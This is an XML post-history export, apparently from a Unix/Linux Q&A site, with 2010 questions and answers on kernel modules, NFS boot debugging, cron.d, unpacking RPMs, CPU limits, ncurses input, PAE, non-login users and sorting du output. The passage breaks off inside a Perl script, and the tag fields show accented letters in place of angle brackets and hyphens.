  <row Id="10211" PostHistoryTypeId="4" PostId="4638" RevisionGUID="05ca9adb-3e5f-4778-ac92-041da9bc7515" CreationDate="2010-12-08T20:14:33.300" UserId="73" Comment="deleted 21 characters in body; edited tags; edited title" Text="How to create .ko files in Linux" />
  <row Id="10212" PostHistoryTypeId="6" PostId="4638" RevisionGUID="05ca9adb-3e5f-4778-ac92-041da9bc7515" CreationDate="2010-12-08T20:14:33.300" UserId="73" Comment="deleted 21 characters in body; edited tags; edited title" Text="élinuxàékernelàégccàékernelödriversà" />
  <row Id="10213" PostHistoryTypeId="2" PostId="4660" RevisionGUID="fb27d1ba-b694-49f2-b494-709636ae6792" CreationDate="2010-12-08T20:55:27.930" UserId="2996" Text="I'm trying to boot Linux from U-boot on an embedded ARM board using a filesystem on a remote machine served via NFS. It appears that the ethernet connection is not coming up correctly, which results in a failure to mount the NFS share. However, I know that the ethernet hardware works, because U-boot loads the kernel via TFTP.&#xD;&#xA;&#xD;&#xA;How can I debug this? I can try tweaking the kernel, but that means recompiling the kernel for every iteration, which is slow. Is there a way that I can make the kernel run without being able to mount an external filesystem?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10214" PostHistoryTypeId="1" PostId="4660" RevisionGUID="fb27d1ba-b694-49f2-b494-709636ae6792" CreationDate="2010-12-08T20:55:27.930" UserId="2996" Text="Debugging ethernet before NFS boot " />
  <row Id="10215" PostHistoryTypeId="3" PostId="4660" RevisionGUID="fb27d1ba-b694-49f2-b494-709636ae6792" CreationDate="2010-12-08T20:55:27.930" UserId="2996" Text="ékernelàédebuggingàénfsàékernelöpanicàéethernetà" />
  <row Id="10216" PostHistoryTypeId="2" PostId="4661" RevisionGUID="077dc603-eab4-4a1f-8160-ce27b3e3566d" CreationDate="2010-12-08T21:41:44.017" UserId="305" Text="You can compile a initrd image into kernel (`General Setup -&gt; Initial RAM filesystem and RAM disk (initramfs/initrd) support -&gt; Initramfs source file(s)`). You specify file in special format like (my init for x86):&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    dir	/bin									0755 0 0&#xD;&#xA;    file	/bin/busybox						/bin/busybox	0755 0 0&#xD;&#xA;    file	/bin/lvm						/sbin/lvm.static0755 0 0&#xD;&#xA;    dir	/dev									0755 0 0&#xD;&#xA;    dir	/dev/fb									0755 0 0&#xD;&#xA;    dir	/dev/misc								0755 0 0&#xD;&#xA;    dir	/dev/vc									0755 0 0&#xD;&#xA;    nod	/dev/console								0600 0 0	c  5   1&#xD;&#xA;    nod	/dev/null								0600 0 0	c  1   3&#xD;&#xA;    nod	/dev/snapshot								0600 0 0	c 10 231&#xD;&#xA;    nod	/dev/tty1								0600 0 0	c  4   0&#xD;&#xA;    dir	/etc									0755 0 0&#xD;&#xA;    dir	/etc/splash								0755 0 0&#xD;&#xA;    dir	/etc/splash/natural_gentoo						0755 0 0&#xD;&#xA;    dir	/etc/splash/natural_gentoo/images					0755 0 0&#xD;&#xA;    file	/etc/splash/natural_gentoo/images/silent-1680x1050.jpg	/etc/splash/natural_gentoo/images/silent-1680x1050.jpg	0644 0 0&#xD;&#xA;    file	/etc/splash/natural_gentoo/images/verbose-1680x1050.jpg	/etc/splash/natural_gentoo/images/verbose-1680x1050.jpg	0644 0 0&#xD;&#xA;    file	/etc/splash/natural_gentoo/1680x1050.cfg		/etc/splash/natural_gentoo/1680x1050.cfg		0644 0 0&#xD;&#xA;    slink	/etc/splash/tuxonice					/etc/splash/natural_gentoo				0755 0 0&#xD;&#xA;    file	/etc/splash/luxisri.ttf					/etc/splash/luxisri.ttf					0644 0 0&#xD;&#xA;    dir	/lib64									0755 0 0&#xD;&#xA;    dir	/lib64/splash								0755 0 0&#xD;&#xA;    dir	/lib64/splash/proc							0755 0 0&#xD;&#xA;    dir	/lib64/splash/sys							0755 0 0&#xD;&#xA;    dir	/proc									0755 0 0&#xD;&#xA;    dir	/mnt									0755 0 0&#xD;&#xA;    dir	/root									0770 0 0&#xD;&#xA;    dir	/sbin									0755 0 0&#xD;&#xA;    file	/sbin/fbcondecor_helper					/sbin/fbcondecor_helper					0755 0 0&#xD;&#xA;    slink	/sbin/splash_helper					/sbin/fbcondecor_helper					0755 0 0&#xD;&#xA;    file	/sbin/tuxoniceui_fbsplash				/sbin/tuxoniceui_fbsplash				0755 0 0&#xD;&#xA;    file	/sbin/tuxoniceui_text					/sbin/tuxoniceui_text					0755 0 0&#xD;&#xA;    dir	/sys									0755 0 0&#xD;&#xA;    file	/init							/usr/src/init	0755 0 0&#xD;&#xA;&#xD;&#xA;I haven't used it on ARM but it should work. `/init` is file you are can put startup commands. Rest are various files needed (like busybox etc.)." />
  <row Id="10217" PostHistoryTypeId="5" PostId="4646" RevisionGUID="3552935b-191c-41ca-8997-69775d9c8946" CreationDate="2010-12-08T21:44:17.530" UserId="73" Comment="added 8 characters in body" Text="I have an iptables firewall in Linux bridge (RHEL5). I want to extract information like IP address, port number, port type, date and time, etc. from log messages using a Bash script, and then want to upload it to a MySQL database to generate the reports.&#xD;&#xA;&#xD;&#xA;How can I do this? Is there any way to accomplish the same thing?&#xD;&#xA;" />
  <row Id="10218" PostHistoryTypeId="2" PostId="4662" RevisionGUID="130d58a4-7d10-4013-94ac-d261afd64b78" CreationDate="2010-12-08T21:54:31.807" UserId="885" Text="A few things that come to mind:&#xD;&#xA;&#xD;&#xA;* Use tcpdump, wireshark or other Ethernet packet inspector to see whether the board is sending packets to the wrong address or not sending anything at all.&#xD;&#xA;* What do you have on the serial console (if there is one)?&#xD;&#xA;* Try connecting a [remote kernel debugger](http://en.wikipedia.org/wiki/KGDB).&#xD;&#xA;* Try running inside a simulator, if you have a simulator that you can reproduce your problem in.&#xD;&#xA;* Instead of just fetching a kernel, put a boot-and-root filesystem in [flash memory](http://www.denx.de/wiki/view/DULG/LinuxInFlash), or load a root filesystem to a [RAM disk](http://www.denx.de/wiki/view/DULG/LinuxRamdiskRoot).&#xD;&#xA;" />
  <row Id="10219" PostHistoryTypeId="6" PostId="4660" RevisionGUID="28f5c17d-f370-495f-8b4d-1d33f9201079" CreationDate="2010-12-08T21:55:45.703" UserId="885" Comment="edited tags" Text="édebuggingàénfsàéarmàélinuxökernelàéuöbootà" />
  <row Id="10220" PostHistoryTypeId="2" PostId="4663" RevisionGUID="d627155b-ff67-432b-b6c3-7a27fd0b27c4" CreationDate="2010-12-08T22:25:24.273" UserId="4" Text="This is a RedHat Enterprise Linux 5 system (RHEL). We manage this system using Cfengine.&#xD;&#xA;&#xD;&#xA;It appears that the backup scripts are running twice as often as usual. I checked the cronjobs and saw that we have a cfengine backup file under /etc/cron.d/ :&#xD;&#xA;&#xD;&#xA;	/etc/cron.d/host-backup&#xD;&#xA;	/etc/cron.d/host.backup.cfsaved&#xD;&#xA;&#xD;&#xA;Does RedHat execute all files at `/etc/cron.d/*`, or does it only execute files which match a certain pattern. Can I configure this, and where is this defined?&#xD;&#xA;&#xD;&#xA;I cannot find this answer in the RHEL documentation. " />
  <row Id="10221" PostHistoryTypeId="1" PostId="4663" RevisionGUID="d627155b-ff67-432b-b6c3-7a27fd0b27c4" CreationDate="2010-12-08T22:25:24.273" UserId="4" Text="Does RHEL execute all cronjob files under /etc/cron.d/*?" />
  <row Id="10222" PostHistoryTypeId="3" PostId="4663" RevisionGUID="d627155b-ff67-432b-b6c3-7a27fd0b27c4" CreationDate="2010-12-08T22:25:24.273" UserId="4" Text="érhelàécronà" />
  <row Id="10223" PostHistoryTypeId="2" PostId="4664" RevisionGUID="5f9a5083-ac9d-4f1e-bf64-31f431ebea90" CreationDate="2010-12-08T22:30:00.653" UserId="4" Text="I am on a MacBook Pro running Apple Leopard (Mac OS X 10.5.8).&#xD;&#xA;&#xD;&#xA;I would like to unpackage a RPM and view the files contained within the [wget-1.11.4-2.el5_4.1.src.rpm][1] . I don't need to install the files to a particular location or run any %postinstall scripts or anything. I just want to unpackage this RPM so that I can view the source files underneath.&#xD;&#xA;&#xD;&#xA;Is it possible to unpackage a RPM file on a non-RedHat/CentOS system?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ftp.redhat.com/pub/redhat/linux/enterprise/5Server/en/os/SRPMS/wget-1.11.4-2.el5_4.1.src.rpm" />
  <row Id="10224" PostHistoryTypeId="1" PostId="4664" RevisionGUID="5f9a5083-ac9d-4f1e-bf64-31f431ebea90" CreationDate="2010-12-08T22:30:00.653" UserId="4" Text="Open a RPM on a Mac?" />
  <row Id="10225" PostHistoryTypeId="3" PostId="4664" RevisionGUID="5f9a5083-ac9d-4f1e-bf64-31f431ebea90" CreationDate="2010-12-08T22:30:00.653" UserId="4" Text="érhelàérpmàéosxà" />
  <row Id="10226" PostHistoryTypeId="2" PostId="4665" RevisionGUID="2f0a69cb-38b3-4c2d-9db2-64e605e9b572" CreationDate="2010-12-08T22:48:20.473" UserId="1974" Text="We have a script which runs on our web servers, triggered by customer action, which initiates a unix process to generate some cache files. Because this process acts upon files supplied by our customer, it sometimes misbehaves, running so long that the PHP process which spawns it times out or using so much CPU time that a sysadmin will kill it.&#xD;&#xA;&#xD;&#xA;Is there any command which I could run which would limit the CPU time / runtime of the process? I am looking for a command like `/usr/bin/time`, where I could run that command and pass it the commandline I want it to run and limit." />
  <row Id="10227" PostHistoryTypeId="1" PostId="4665" RevisionGUID="2f0a69cb-38b3-4c2d-9db2-64e605e9b572" CreationDate="2010-12-08T22:48:20.473" UserId="1974" Text="Can I limit a process to a certain amount of time / CPU cycles?" />
  <row Id="10228" PostHistoryTypeId="3" PostId="4665" RevisionGUID="2f0a69cb-38b3-4c2d-9db2-64e605e9b572" CreationDate="2010-12-08T22:48:20.473" UserId="1974" Text="éprocessàélimitàécpuöcyclesà" />
  <row Id="10229" PostHistoryTypeId="2" PostId="4666" RevisionGUID="8b8711c0-b90d-42fd-bdfd-f35f420df797" CreationDate="2010-12-08T23:16:23.610" UserId="885" Text="From within a program, call &lt;code&gt;[setrlimit](http://www.opengroup.org/onlinepubs/009695399/functions/getrlimit.html)(RLIMIT_CPU, ...)&lt;/code&gt;. From the shell, call `ulimit -t 42` (this is not standard but supported by most shells (including bash and ksh) on most unix variants). This causes the current process to be killed once it has used up N seconds of CPU time. The limitation is inherited by child processes. A common shell idiom is `(ulimit -t 42; runaway_process)` if you want to be able to run other unlimited processes afterwards from the same shell.&#xD;&#xA;&#xD;&#xA;See also [Is there a way to limit the amount of memory a particular process can use in Unix?&#xD;&#xA;](http://unix.stackexchange.com/q/1424/885). The principle is the same, you're just limiting a different resource.&#xD;&#xA;" />
  <row Id="10230" PostHistoryTypeId="2" PostId="4667" RevisionGUID="b38c6b5e-3a9f-452f-845e-25fff5d40fbb" CreationDate="2010-12-08T23:22:30.207" UserId="3014" Text="The problem I have is that ncurses (or some routine lower than ncurses) &#xD;&#xA;waits around for a while, before passing the 'space' character to my &#xD;&#xA;program. (I think this is called a 'typematic' delay.)&#xD;&#xA;&#xD;&#xA;I have written a very simple program that uses the ncurses library to &#xD;&#xA;demonstrate what my problem is, and what I hope to achieve in the end.&#xD;&#xA;Compile it, and run it, and you will see that the hash in the leftmost &#xD;&#xA;column moves up or down depending on whether the spacebar is pressed or &#xD;&#xA;not. &#xD;&#xA;However, there is a lag of about a second, which is what I am attempting &#xD;&#xA;to get rid of, because I want instant input.&#xD;&#xA;&#xD;&#xA;There is a way of improving the problem by changing the 'repeat rate' &#xD;&#xA;(or something like that) of the terminal but this never seems to &#xD;&#xA;completely alleviate the problem.&#xD;&#xA;&#xD;&#xA;I would like instant input, and I don't know how to achieve this. &#xD;&#xA;Does anybody else know?&#xD;&#xA;&#xD;&#xA;    /* 9/12/2010  --  Compile with: gcc -lncurses &quot;file.c&quot;&#xD;&#xA;    I want to be able to control the hash with the spacebar in such a way &#xD;&#xA;    that it can be held at approximately the same position  (between the &lt;&lt;&lt;&lt;&lt;&lt;)&#xD;&#xA;    just by hitting the spacebar every 100ms or so. Holding or releasing the &#xD;&#xA;    spacebar should make the hash move up or down respectively, as it currently does.&#xD;&#xA;    */&#xD;&#xA;    &#xD;&#xA;    #include &lt;ncurses.h&gt;&#xD;&#xA;    #include &lt;stdlib.h&gt;&#xD;&#xA;    &#xD;&#xA;    int main() {&#xD;&#xA;    	initscr(); cbreak(); noecho();&#xD;&#xA;    	nonl();&#xD;&#xA;    	intrflush(stdscr, FALSE);&#xD;&#xA;    	keypad(stdscr, TRUE);  /* All copied straight from ncurses man page.*/&#xD;&#xA;    	timeout(0);&#xD;&#xA;    &#xD;&#xA;    	int y = 5;&#xD;&#xA;    	while (getch() != 'q') {&#xD;&#xA;    		if (getch() == ' ') {&#xD;&#xA;    			y = y - 1;&#xD;&#xA;    		} else {&#xD;&#xA;    			y = y + 1;&#xD;&#xA;    		}&#xD;&#xA;    &#xD;&#xA;    		clear();&#xD;&#xA;    		mvprintw( y,1,&quot;#&quot;);&#xD;&#xA;    		mvprintw( 8,2,&quot;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&quot;);&#xD;&#xA;    		mvprintw(12,2,&quot;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&quot;);&#xD;&#xA;    		napms(100);&#xD;&#xA;    	}&#xD;&#xA;    &#xD;&#xA;    	endwin();&#xD;&#xA;    	exit(0);&#xD;&#xA;    }" />
  <row Id="10231" PostHistoryTypeId="1" PostId="4667" RevisionGUID="b38c6b5e-3a9f-452f-845e-25fff5d40fbb" CreationDate="2010-12-08T23:22:30.207" UserId="3014" Text="How do you get 'instant' terminal feedback for a c program?" />
  <row Id="10232" PostHistoryTypeId="3" PostId="4667" RevisionGUID="b38c6b5e-3a9f-452f-845e-25fff5d40fbb" CreationDate="2010-12-08T23:22:30.207" UserId="3014" Text="éterminalàéncursesà" />
  <row Id="10233" PostHistoryTypeId="10" PostId="4667" RevisionGUID="c923ab92-3012-4bcc-b3f9-aacf3390c50b" CreationDate="2010-12-08T23:26:21.320" UserId="305" CloseReasonId="2" Text="[{&quot;Id&quot;:305,&quot;DisplayName&quot;:&quot;Maciej Piechotka&quot;}]" />
  <row Id="10234" PostHistoryTypeId="2" PostId="4668" RevisionGUID="0f4dc0e0-d5ec-4d74-8c0e-844ee615907d" CreationDate="2010-12-08T23:29:18.603" UserId="305" Text="Yes you can. For sure [Midnight Commander][1] opens RPM files. I don't use but [google list some links that might point at GUI][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.midnight-commander.org/&#xD;&#xA;  [2]: http://www.google.co.uk/search?q=unpack+rpm+file+Mac+OS+X" />
  <row Id="10235" PostHistoryTypeId="2" PostId="4669" RevisionGUID="ca9cd1cd-a2d6-46f9-bc33-0ba7128a2ccd" CreationDate="2010-12-09T00:35:51.027" UserId="305" Text="In addition to Gilles answer there is [cpulimit][1] tool that does exactly what you want - including modifing in runtime. Additionally it can limit to only certain CPUs/Cores IIRC.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cpulimit.sourceforge.net/" />
  <row Id="10236" PostHistoryTypeId="2" PostId="4670" RevisionGUID="f67a611a-ff15-44d6-822d-3369d41dcaab" CreationDate="2010-12-09T00:36:19.450" UserId="688" Text="I have 4GB RAM installed on my machine, and I'm considering using all of it (IE, installing PAE-enabled kernel). I heard there's a performance penalty for this, so I wanted to know about other's experiences. Should I proceed, or should I remain content with 3GB?&#xD;&#xA;&#xD;&#xA;[__note__] I will be running **Linux 2.6.32**." />
  <row Id="10237" PostHistoryTypeId="1" PostId="4670" RevisionGUID="f67a611a-ff15-44d6-822d-3369d41dcaab" CreationDate="2010-12-09T00:36:19.450" UserId="688" Text="Is PAE worth it when I have 4GB RAM?" />
  <row Id="10238" PostHistoryTypeId="3" PostId="4670" RevisionGUID="f67a611a-ff15-44d6-822d-3369d41dcaab" CreationDate="2010-12-09T00:36:19.450" UserId="688" Text="ékernelàépaeà" />
  <row Id="10239" PostHistoryTypeId="2" PostId="4671" RevisionGUID="1db01d7a-82a3-4d59-addf-20eaa3163f17" CreationDate="2010-12-09T00:36:34.493" UserId="885" Text="You can install rpm through [Darwin Ports](http://rpm.darwinports.com/) or [Fink](http://pdb.finkproject.org/pdb/package.php/rpm5) or even a [Darwin port, rpm4darwin](http://rpm4darwin.sourceforge.net/).&#xD;&#xA;&#xD;&#xA;To extract files from an rpm package without installing it, use the companion utility `rpm2cpio`, e.g.&#xD;&#xA;&#xD;&#xA;    rpm2cpio foo.rpm | cpio -i -d &#xD;&#xA;" />
  <row Id="10240" PostHistoryTypeId="6" PostId="4670" RevisionGUID="c44748b7-4f39-4ae0-a9a1-24ed001ae9d6" CreationDate="2010-12-09T00:38:01.153" UserId="885" Comment="edited tags" Text="élinuxàékernelàépaeàéi386à" />
  <row Id="10241" PostHistoryTypeId="2" PostId="4672" RevisionGUID="66651b1a-4832-4925-bf6d-5d0e511340ef" CreationDate="2010-12-09T01:03:17.320" UserId="2180" Text="If you have a 64-bit processor, an alternative would be to compile a 64-bit kernel.&#xD;&#xA;&#xD;&#xA;According to [this RedHat white paper][1], a typical server experiences around 1% performance hit, and other tasks suffered a performance hit of 0% - 10%.&#xD;&#xA;&#xD;&#xA;In addition to having more available memory, enabling PAE means you have an NX bit, which can increase security.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://people.redhat.com/nmurray/RHEL-2.1-VM-whitepaper.pdf" />
  <row Id="10242" PostHistoryTypeId="2" PostId="4673" RevisionGUID="85c56ba1-77bb-43b9-bc97-0403982f9f71" CreationDate="2010-12-09T01:27:52.783" UserId="2180" Text="For thoroughness and the sake of searchers, here is what these do...&#xD;&#xA;I have place bash. I'll check dash when I get to work tomorrow. It is a community wiki, so feel free to add other shell's equivalents (obviously, $BASH_SOURCE will be different).&#xD;&#xA;&#xD;&#xA;test.sh:&#xD;&#xA;&#xD;&#xA;    #! /bin/bash&#xD;&#xA;    called=$_&#xD;&#xA;    echo $called&#xD;&#xA;    echo $_&#xD;&#xA;    echo $0&#xD;&#xA;    echo $BASH_SOURCE&#xD;&#xA;&#xD;&#xA;test2.sh:&#xD;&#xA;&#xD;&#xA;    #! /bin/bash&#xD;&#xA;    source ./test.sh&#xD;&#xA;&#xD;&#xA;at the command line:&#xD;&#xA;&#xD;&#xA;    $./test2.sh&#xD;&#xA;    ./test2.sh&#xD;&#xA;    ./test2.sh&#xD;&#xA;    ./test2.sh&#xD;&#xA;    ./test.sh&#xD;&#xA;    $ sh ./test2.sh&#xD;&#xA;    /bin/sh&#xD;&#xA;    /bin/sh&#xD;&#xA;    ./test2.sh&#xD;&#xA;    ./test.sh" />
  <row Id="10243" PostHistoryTypeId="16" PostId="4673" RevisionGUID="85c56ba1-77bb-43b9-bc97-0403982f9f71" CreationDate="2010-12-09T01:30:03.140" UserId="2180" />
  <row Id="10244" PostHistoryTypeId="2" PostId="4674" RevisionGUID="6a6a3d52-6ca1-4d7f-bbeb-217d8ed58417" CreationDate="2010-12-09T02:04:53.890" UserId="327" Text="I would think that (like Windows and Linux) any archiver program should be able to decompress it. [iArchiver][1], the [unArchiver][2], and [Archiver][3] all list &quot;read-only RPM&quot; in their supported formats.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://iarchiver.com/&#xD;&#xA;  [2]: http://wakaba.c3.cx/s/apps/unarchiver.html&#xD;&#xA;  [3]: http://archiverapp.com/" />
  <row Id="10245" PostHistoryTypeId="2" PostId="4675" RevisionGUID="68bd90f8-c3d0-4ffa-9959-b26149f4dcb0" CreationDate="2010-12-09T02:08:17.817" UserId="327" Text="I think the reason you've had difficulty tracking down the answer is that it's not a Red Hat-specific question. The problem you're seeing is part of the standard functionality of `cron` - each file in the directory you identify is [automatically treated as a separate job][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pantz.org/software/cron/croninfo.html" />
  <row Id="10246" PostHistoryTypeId="4" PostId="4460" RevisionGUID="dd100574-024c-494f-a049-d9eb4313b71f" CreationDate="2010-12-09T02:09:32.740" UserId="688" Comment="edited title" Text="Why is Debian not creating the 'wheel' group by default?" />
  <row Id="10247" PostHistoryTypeId="5" PostId="4675" RevisionGUID="a47f153b-d3d1-43d1-8ff9-fa0a8c894ea1" CreationDate="2010-12-09T02:20:16.237" UserId="327" Comment="Added some details" Text="I think the reason you've had difficulty tracking down the answer is that it's not a Red Hat-specific question. The problem you're seeing is part of the standard functionality of `cron` - each file in the directory you identify is [automatically treated as a separate job][1].&#xD;&#xA;&#xD;&#xA;So, the short answer to your question is &quot;yes, all files are executed&quot;. This is not something I think that can be configured.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pantz.org/software/cron/croninfo.html" />
  <row Id="10249" PostHistoryTypeId="2" PostId="4676" RevisionGUID="45761075-a7e9-4c89-9016-66902af85a4c" CreationDate="2010-12-09T04:37:28.400" UserId="2914" Text="Hi All,&#xD;&#xA;&#xD;&#xA;What are interactive and not-interactive shell?? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Questions: Create a user john who should not get an interactive shell.&#xD;&#xA;&#xD;&#xA;How can we do this ??&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Jack" />
  <row Id="10250" PostHistoryTypeId="1" PostId="4676" RevisionGUID="45761075-a7e9-4c89-9016-66902af85a4c" CreationDate="2010-12-09T04:37:28.400" UserId="2914" Text="interactive shell vs non-interactive shell " />
  <row Id="10251" PostHistoryTypeId="3" PostId="4676" RevisionGUID="45761075-a7e9-4c89-9016-66902af85a4c" CreationDate="2010-12-09T04:37:28.400" UserId="2914" Text="érhelà" />
  <row Id="10252" PostHistoryTypeId="2" PostId="4677" RevisionGUID="b51c79f0-836b-42b2-a9d8-f34edd93f33a" CreationDate="2010-12-09T05:08:49.480" UserId="825" Text="Yes,  change the shell in the password file (/etc/passwd) to some program that will **not** not allow a shell escape.&#xD;&#xA;&#xD;&#xA;if you want to be a [bofh][1] /bin/false will do exactly what you want.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Bastard_Operator_From_Hell" />
  <row Id="10253" PostHistoryTypeId="2" PostId="4678" RevisionGUID="07eef386-7e87-4746-a259-9f9c95c473e5" CreationDate="2010-12-09T05:09:10.570" UserId="1294" Text="The `/etc/passwd` file has as the last item on a user's line the program to be run upon login.  For normal users this is typically set to `/bin/sh` or other shell (e.g. bash, zsh).&#xD;&#xA;&#xD;&#xA;Traditionally, identities that are used to own processes or files or other resources have their &quot;shell&quot; set to `/bin/false` as in&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    syslog:x:101:102::/home/syslog:/bin/false&#xD;&#xA;&#xD;&#xA;The pseudo-user syslog owns `/var/log/syslog` and is the only UID which has write permission for that file, but one cannot log in as user syslog as there is no command interpreter to be run.&#xD;&#xA;" />
  <row Id="10254" PostHistoryTypeId="5" PostId="4676" RevisionGUID="b7eee547-f191-41d7-8ae6-4c6352888a6c" CreationDate="2010-12-09T05:10:56.903" UserId="1294" Comment="hi and bye omitted" Text="What are interactive and not-interactive shell?? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Questions: Create a user john who should not get an interactive shell.&#xD;&#xA;&#xD;&#xA;How can we do this ??&#xD;&#xA;" />
  <row Id="10255" PostHistoryTypeId="2" PostId="4679" RevisionGUID="34126b5d-56a2-4017-acd8-8862929f358b" CreationDate="2010-12-09T05:56:42.367" UserId="250" Text="Regarding the question you are trying to answer:&#xD;&#xA;&#xD;&#xA;&gt;Create a user john who should not get an interactive shell.&#xD;&#xA;&#xD;&#xA;The question means &quot;Create a user named `john` who won't be able to log in and run commands from a shell&quot;. Interactive describe the way the shell works: the user types something, and the shell does something accordingly (there is a kind of communication between the user and the shell). The word &quot;interactive&quot; doesn't really add any information to the question, because as long as there is a user typing commands, the shell session is interactive.&#xD;&#xA;&#xD;&#xA;There is also the non-interactive mode, where the user saves a series of commands ey wants to run in a file (called a shell script), and executes the file afterwards. Some commands behave differently depending on whether it is run interactively or non-interactively. You can read more [here][1] (this document is for `bash`, but the same concept applies for other shells).&#xD;&#xA;&#xD;&#xA;On how to create such a user, if you skim through `man useradd` there is an option to set the login shell, `-s` or `--shell`. You can also create a user normally, in anyway you want (which I assume you know already?), then edit `/etc/passwd` like in [msw's answer][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tldp.org/LDP/abs/html/intandnonint.html&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/4676/interactive-shell-vs-non-interactive-shell/4678#4678" />
  <row Id="10256" PostHistoryTypeId="2" PostId="4680" RevisionGUID="9df581cb-b6f0-4d76-8412-5ccc79a548fe" CreationDate="2010-12-09T06:54:32.140" UserId="2914" Text="Hi All,&#xD;&#xA;&#xD;&#xA;I configured DHCP server on Linux.I have to  and without mac binding no system should get IP from DHCP server.&#xD;&#xA;How can I do this?? Is there any other solution in Linux ( RHEL5)??&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Jack" />
  <row Id="10257" PostHistoryTypeId="1" PostId="4680" RevisionGUID="9df581cb-b6f0-4d76-8412-5ccc79a548fe" CreationDate="2010-12-09T06:54:32.140" UserId="2914" Text="bind the MAC with IP address??" />
  <row Id="10258" PostHistoryTypeId="3" PostId="4680" RevisionGUID="9df581cb-b6f0-4d76-8412-5ccc79a548fe" CreationDate="2010-12-09T06:54:32.140" UserId="2914" Text="érhelà" />
  <row Id="10259" PostHistoryTypeId="2" PostId="4681" RevisionGUID="47efebbd-0dc1-4714-8515-335f8835856b" CreationDate="2010-12-09T11:17:09.227" UserId="29" Text="How do you sort `du -sh /dir/*` by size? I read one site that said use `| sort -n` but that's obviously not right. Here's an example that is wrong.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    [~]# du -sh /var/* | sort -n&#xD;&#xA;    0       /var/mail&#xD;&#xA;    1.2M    /var/www&#xD;&#xA;    1.8M    /var/tmp&#xD;&#xA;    1.9G    /var/named&#xD;&#xA;    2.9M    /var/run&#xD;&#xA;    4.1G    /var/log&#xD;&#xA;    8.0K    /var/account&#xD;&#xA;    8.0K    /var/crash&#xD;&#xA;    8.0K    /var/cvs&#xD;&#xA;    8.0K    /var/games&#xD;&#xA;    8.0K    /var/local&#xD;&#xA;    8.0K    /var/nis&#xD;&#xA;    8.0K    /var/opt&#xD;&#xA;    8.0K    /var/preserve&#xD;&#xA;    8.0K    /var/racoon&#xD;&#xA;    12K     /var/aquota.user&#xD;&#xA;    12K     /var/portsentry&#xD;&#xA;    16K     /var/ftp&#xD;&#xA;    16K     /var/quota.user&#xD;&#xA;    20K     /var/yp&#xD;&#xA;    24K     /var/db&#xD;&#xA;    28K     /var/empty&#xD;&#xA;    32K     /var/lock&#xD;&#xA;    84K     /var/profiles&#xD;&#xA;    224M    /var/netenberg&#xD;&#xA;    235M    /var/cpanel&#xD;&#xA;    245M    /var/cache&#xD;&#xA;    620M    /var/lib&#xD;&#xA;    748K    /var/spool&#xD;&#xA;" />
  <row Id="10260" PostHistoryTypeId="1" PostId="4681" RevisionGUID="47efebbd-0dc1-4714-8515-335f8835856b" CreationDate="2010-12-09T11:17:09.227" UserId="29" Text="how do you sort du output by size?" />
  <row Id="10261" PostHistoryTypeId="3" PostId="4681" RevisionGUID="47efebbd-0dc1-4714-8515-335f8835856b" CreationDate="2010-12-09T11:17:09.227" UserId="29" Text="écommandölineàétextöprocessingàésortàédisköusageà" />
  <row Id="10262" PostHistoryTypeId="2" PostId="4682" RevisionGUID="5005c227-2eff-4905-9d6b-9742116129c8" CreationDate="2010-12-09T11:58:47.770" UserId="2180" Text="You can use `du -b | sort -n`. This causes the output of du to not have the K/M/G suffixes." />
  <row Id="10263" PostHistoryTypeId="5" PostId="4682" RevisionGUID="8cd02f80-a0b4-42f2-a8ba-5f9bea1f8462" CreationDate="2010-12-09T12:25:40.207" UserId="2180" Comment="Better solution" Text="You can use `du -sh | sort -h`. This tells sort that the input is the human-readable format." />
  <row Id="10264" PostHistoryTypeId="2" PostId="4683" RevisionGUID="1b223376-da65-48e1-aa0b-be87760e9e28" CreationDate="2010-12-09T12:35:00.723" UserId="678" Text="This little Perl script does the trick. Save it as `duh` (or whatever you want) and call it with `duh /dir/*`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/perl -w&#xD;&#xA;    use strict;&#xD;&#xA;    &#xD;&#xA;    my @line;&#xD;&#xA;    &#xD;&#xA;    sub to_human_readable {&#xD;&#xA;            my ($number) = @_;&#xD;&#xA;            my @postfix = qw( k M G T P );&#xD;&#xA;            my $post;&#xD;&#xA;            my $divide = 1;&#xD;&#xA;            foreach (@postfix) {&#xD;&#xA;                    $post = $_;&#xD;&#xA;                    last if (($number / ($divide * 1024)) &lt; 1);&#xD;&#xA;                    $divide = $divide * 1024;&#xD;&#xA;            }&#xD;&#xA;            $number = int($number/$divide + 0.5);&#xD;&#xA;            return $number . $post;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    sub trimlengthright {&#xD;&#xA;            my ($txt, $len) = @_;&#xD;&#xA;            if ( length($txt) &gt;= $len ) {&#xD;&#xA;                    $txt = substr($txt,0,$len - 1) . &quot; &quot;;&#xD;&#xA;            } else {&#xD;&#xA;                    $txt = $txt . &quot; &quot; x ($len - length($txt));&#xD;&#xA;            }&#xD;&#xA;            return $txt;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    sub trimlengthleft {&#xD;&#xA;            my ($txt, $len) = @_;&#xD;&#xA;            if ( length($txt) &gt;= $len ) {&#xD;&#xA;                    $txt = substr($txt,0,$len - 1) . &quot; 